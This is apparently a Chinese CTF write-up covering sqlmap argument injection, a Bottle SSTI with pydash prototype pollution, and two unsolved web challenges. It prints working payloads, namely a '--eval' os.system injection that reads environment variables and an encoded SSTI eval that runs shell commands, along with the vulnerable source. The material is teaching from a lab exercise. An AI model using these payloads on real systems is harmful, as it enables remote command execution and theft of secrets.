sqlmap-master | 参数注入 | SV
有源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
async def run(request: Request):
data = await request.json()
url = data.get("url")
if not url:
return {"error": "URL is required"}
command = f'sqlmap -u {url} --batch --flush-session'
def generate():
process = subprocess.Popen(
command.split(),
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
shell=False
)
while True:
output = process.stdout.readline()
if output == '' and process.poll() is not None:
break
if output:
yield output
return StreamingResponse(generate(), media_type="text/plain")进行参数注入
shell=False
,不允许接受字符串到/bin/sh中,只能接受数组来执行运行的程序command.spilit()
,按照空格分割成数组- sqlmap doc,–eval,试试看:
127.0.0.1 --eval __import__('os').system('env')
,根目录操作会报错来着
SUMMARY
- 参数注入 => gtfobins/官方文档
- shell解析,这里讲讲坑点,针对subprocess
shell中的两种解析格式
- 在命令行参数中,–url=127.0.0.1 和 –url 127.0.0.1 是等价的(即 = 可以用空格代替),这是由命令行参数解析规则决定的
--url="127.0.0.1"
-u 127.0.0.1
长选项解析 短选项解析 (“) 将参数值括起来,通常用于处理包含空格或特殊字符的值(没有特殊字符则是可选的) -u 和 127.0.0.1 是分开的两个部分,无需引号 这里主要是
shell=False
的原因导致命令不能用引号包裹- 关键区别:shell=False vs shell=True: 有shell的会解析一次字符串,shell=False则不会解析,直接将整个当作参数传入(包含引号),这里会导致报错
ez_dash | bottle ssti | SV
给了source.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61'''
Hints: Flag在环境变量中
'''
from typing import Optional
import pydash
import bottle
__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__',
'__code__', '__defaults__', '__delattr__', '__dict__',
'__dir__', '__doc__', '__eq__', '__format__',
'__ge__', '__get__', '__getattribute__',
'__gt__', '__hash__', '__init__', '__init_subclass__',
'__kwdefaults__', '__le__', '__lt__', '__module__',
'__name__', '__ne__', '__new__', '__qualname__',
'__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
'__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
"Optional","func","render",
]
__forbidden_name__=[
"bottle"
]
__forbidden_name__.extend(dir(globals()["__builtins__"]))
def setval(name:str, path:str, value:str)-> Optional[bool]:
if name.find("__")>=0: return False
for word in __forbidden_name__:
if name==word:
return False
for word in __forbidden_path__:
if path.find(word)>=0: return False
obj=globals()[name]
try:
pydash.set_(obj,path,value)
except:
return False
return True
def set_value():
name = bottle.request.query.get('name')
path=bottle.request.json.get('path')
if not isinstance(path,str):
return "no"
if len(name)>6 or len(path)>32:
return "no"
value=bottle.request.json.get('value')
return "yes" if setval(name, path, value) else "no"
def render_template():
path=bottle.request.query.get('path')
if path.find("{")>=0 or path.find("}")>=0 or path.find(".")>=0:
return "Hacker"
return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)bottle ssti/python proto pollution
bottle ssti可以直接
%
执行语句了,.
过滤用编码绕过即可(这里过滤少,优先打),有eval呢payload:
% eval("__import__('os')"+chr(46)+"system(mycmd)")
但是要考虑回显问题,查看一下文档,可以回显文件1
2template(*args, **kwargs)[源代码]
获取作为字符串迭代器呈现的模板。可以使用名称、文件名或模板字符串作为第一个参数。模板呈现参数可以作为字典或直接(作为关键字参数)传递。- final:
/render?path=% eval("__import__('os')"%2Bchr(46)%2B"system('ls / > kc1zs4')")
,然后/render?path=kc1zs4.txt
即可 - 最后flag在env中,找不到/flag hhh
- final:
SUMMARY
- 对于无回显的可以看看能不能读文件,包括这里的template,查一查文档这些
ez_dash_revenge | OPEN
修改了一下源码,非预期了hhh
1
- 思路一: pp修改.的表示(需要自己挖吧感觉),然后打内存马吧
- 思路二: 打类似于sanic的public目录,一个尝试的方向
SUMMARY
- 还是对这些链子类的需要熟练一下(python, node的)
internal_api | rust, cookie | OPEN
hint
注意 search 路由查询成功和失败 (Ok 和 Err) 时返回的 HTTP 状态码
XSLeaks
- 盲注吗这个hint?给了附件,看个爽,打xss吗?会停留30s?
- SUMMARY
- rust语言得熟悉一下,还有go的,至少要会审计